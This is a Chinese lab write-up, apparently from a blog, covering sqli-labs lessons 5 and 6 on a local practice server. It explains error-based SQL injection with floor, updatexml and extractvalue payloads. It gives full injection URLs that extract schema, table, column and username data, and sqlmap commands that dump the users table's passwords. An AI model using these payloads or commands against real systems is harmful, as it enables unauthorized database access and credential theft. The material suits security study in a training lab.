2020.4.2 sqli-labs--第五,六关

第五关

.盲注是注入攻击的其中一种,向数据库发送true或false这样的问题,并搞根据应用程序返回的信息判断结果,这种攻击的出现是因为应用程序配置为只显示常规错误,但并没有解决SQL注入存在的代码问题。

1.经错测试发现,当输入?id=3时页面显示正常,具体如下
在这里插入图片描述
当输入?id=486页面显示如下
在这里插入图片描述
说明页面没有显示位。无法使用联合查询注入
2.接着我们尝试在URL中输入 ?id=2’ 页面出现错误语句如下
在这里插入图片描述
页面出现SQL语句报错,在这里我们就可以使用一种新的注入方式:报错注入
首先介绍三种报错注入常用的语句:
(1). 通过floor报错
and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)
其中payload为你要插入的SQL语句
需要注意的是该语句将 输出字符长度限制为64个字符

(2). 通过updatexml报错
and updatexml(1,payload,1)
同样该语句对输出的字符长度也做了限制,其最长输出32位
并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效

(3). 通过ExtractValue报错
and extractvalue(1, payload)
输出字符有长度限制,最长32位。
payload即我们要输入的sql查询语句

3.在这里我们使用floor报错语句进行注入

?id=2' and (select 1 from (select count(*),concat(((select group_concat(schema_name) from information_schema.schemata)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

这里发现页面提示我输出信息超过一行,但我们已经使用了group_concat函数,说明这里数据库名组成的字符串长度超过了64位,所以我们需要放弃group_concat函数,而使用limit 0,1来一个个输出

group_concat()函数的作用:将返回信息拼接成一行显示
limit 0,1 表示输出第一个数据。 0表示输出的起始位置,1表示跨度为1(即输出几个数据,1表示输出一个,2就表示输出两个)
接着我们运用如下语句:

and (select 1 from (select count(*),concat(((select schema_name from information_schema.schemata limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

需要注意的是,此时数据库名并不是 information_schema1
这个1是floor报错语句中输出的也一部分(无论输出什么结果,都会有这个1)
为了防止某些时候,我们误以为这个1也是我们查询结果的一部分,我建议大家使用一个;与它分开,语句如下:

?id=2' and (select 1 from (select count(*),concat(((select concat(schema_name,';') from information_schema.schemata limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

现在以第5题为例:
查表名:

http://127.0.0.1/sqli-labs/Less-5/?id=2' and (select 1 from (select count(*),concat(((select concat(table_name,';') from information_schema.tables where table_schema=database() limit 0,1 )),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

查字段名:

http://127.0.0.1/sqli-labs/Less-5/?id=2' and (select 1 from (select count(*),concat(((select concat(column_name,';') from information_schema.columns where tables_name='users' limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

查字段值:

http://127.0.0.1/sqli-labs/Less-5/?id=2' and (select 1 from (select count(*),concat(((select concat(username,';') from users limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

用sqlmap

1.查数据库:
python sqlmap.py -u “http://127.0.0.1/sqli-labs/Less-5/?id=2” --dbs --batch

在这里插入图片描述
2.查表名:
python sqlmap.py -u “http://127.0.0.1/sqli-labs/Less-5/?id=2” -D security --tables --batch

在这里插入图片描述

3.查字段名:
python sqlmap.py -u “http://127.0.0.1/sqli-labs/Less-5/?id=2” -D security -T users --columns --batch

在这里插入图片描述

4.查字段值
python sqlmap.py -u “http://127.0.0.1/sqli-labs/Less-5/?id=2” -D security -T users -C “password,username” --batch
在这里插入图片描述

第六关、

与第5关类似,只不过这一关使用的是 ""的方式闭合字符串
我们只需要将?id=2’ 改为 ?id=2"即可
其余过程不再赘述,请参考第五关

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值